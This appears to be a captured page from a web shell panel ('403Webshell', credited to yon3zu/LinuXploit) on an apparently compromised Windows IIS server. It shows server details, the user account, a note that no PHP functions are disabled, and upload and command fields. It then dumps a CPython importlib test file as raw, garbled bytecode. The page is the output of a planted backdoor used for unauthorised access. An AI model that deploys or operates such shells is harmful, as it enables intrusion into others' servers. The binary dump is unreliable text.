403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/test/test_importlib/source/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/test/test_importlib/source/__pycache__/test_case_sensitivity.cpython-312.pyc
�

���g|��D�dZddlZddlmZejd�Zejd�ZddlZddlm	Z	ddl
Z
ddlZejGd�dej��ZGd	�d
e�Zej eee��\ZZedk(re
j(�yy)
z Test case-sensitivity (PEP 235).�N)�util�	importlibzimportlib.machinery)�	os_helperc��eZdZdZdZeej�k7sJ�d�Zd�Zeje
jjd�d��Z
eje
jjd�d��Zy)	�CaseSensitivityTestz�PEP 235 dictates that on case-preserving, case-insensitive file systems
    that imports are case-sensitive unless the PYTHONCASEOK environment
    variable is set.�MoDuLec���|jj||jj|jjf|jj|jj
f�S�N)�	machinery�
FileFinder�SourceFileLoader�SOURCE_SUFFIXES�SourcelessFileLoader�BYTECODE_SUFFIXES)�self�paths  �EC:\Python312\\Lib\test\test_importlib\source\test_case_sensitivity.py�finderzCaseSensitivityTest.finders]���~�~�(�(��'+�~�~�'F�'F�,0�N�N�,J�,J�'L�)-���)L�)L�,0�N�N�,L�,L�)N�O�	O�c��dj|j�}dj|jj��}tj||�}|5}t
jj|dd�}t
jj|dd�}|j|�}|j|�}|j|�|j|�fcddd�S#1swYyxYw)z=Look for a module with matching and non-matching sensitivity.z
sensitive.{0}zinsensitive.{0}z.root�	sensitive�insensitiveN)
�format�name�lowerr�create_modules�osr�joinr�find)	r�
sensitive_pkg�insensitive_pkg�context�mapping�sensitive_path�insensitive_path�sensitive_finder�insensitive_finders	         r�sensitivity_testz$CaseSensitivityTest.sensitivity_test s���'�.�.�t�y�y�9�
�+�2�2�4�9�9�?�?�3D�E���%�%�o�}�E��
���W�W�\�\�'�'�*:�K�H�N�!�w�w�|�|�G�G�,<�m�L��#�{�{�>�:��!%���-=�!>���9�9�-�.��	�	�:L�0M�M��W�W�s
�B
C1�1C:zignore_environment flag was setc�p�tj�5}|jd�|jd��|j	�\}}|j|�|j
|j|j|j��|j|�ddd�y#1swYyxYw)N�PYTHONCASEOKF��should_exist)
r�EnvironmentVarGuard�unset�caseok_env_changedr(�assertIsNotNone�assertInr�get_filename�assertIsNone�r�envrrs    r�test_sensitivez"CaseSensitivityTest.test_sensitive,s���
�
*�
*�
,���I�I�n�%��#�#��#�7�%)�%:�%:�%<�"�I�{�� � ��+��M�M�$�)�)�Y�%;�%;�D�I�I�%F�G����k�*�
-�
,�
,�s�BB,�,B5c���tj�5}|jdd�|jd��|j	�\}}|j|�|j
|j|j|j��|j|�|j
|j|j|j��ddd�y#1swYyxYw)Nr*�1Tr+)	rr-�setr/r(r0r1rr2r4s    r�test_insensitivez$CaseSensitivityTest.test_insensitive6s���
�
*�
*�
,���G�G�N�C�(��#�#��#�6�%)�%:�%:�%<�"�I�{�� � ��+��M�M�$�)�)�Y�%;�%;�D�I�I�%F�G�� � ��-��M�M�$�)�)�[�%=�%=�d�i�i�%H�I�-�
,�
,�s�CC"�"C+N)�__name__�
__module__�__qualname__�__doc__rrrr(�unittest�skipIf�sys�flags�ignore_environmentr6r:�rrrrs�����D��4�:�:�<����O�
N��X�_�_�S�Y�Y�1�1�3T�U�+�V�+��X�_�_�S�Y�Y�1�1�3T�U�J�V�Jrrc��eZdZd�Zy)�CaseSensitivityTestPEP451c�X�|j|j�}|�|jS|Sr
)�	find_specr�loader)rr�founds   rrzCaseSensitivityTestPEP451.findCs*��� � ����+��$�0�u�|�|�;�e�;rN)r;r<r=rrDrrrFrFBs��<rrF)rr�__main__)r>rA�test.test_importlibr�import_importlibrrr�test.supportrr?�warnings�case_insensitive_tests�CASEOKTestBaserrF�	test_both� Frozen_CaseSensitivityTestPEP451� Source_CaseSensitivityTestPEP451r;�mainrDrr�<module>rVs���&�
�$�!�D�!�!�+�.�	�!�D�!�!�"7�8�	�	�"������/J�$�-�-�/J��/J�d<� 3�<��T�^�^�-��'�)��!�!�
�z���H�M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit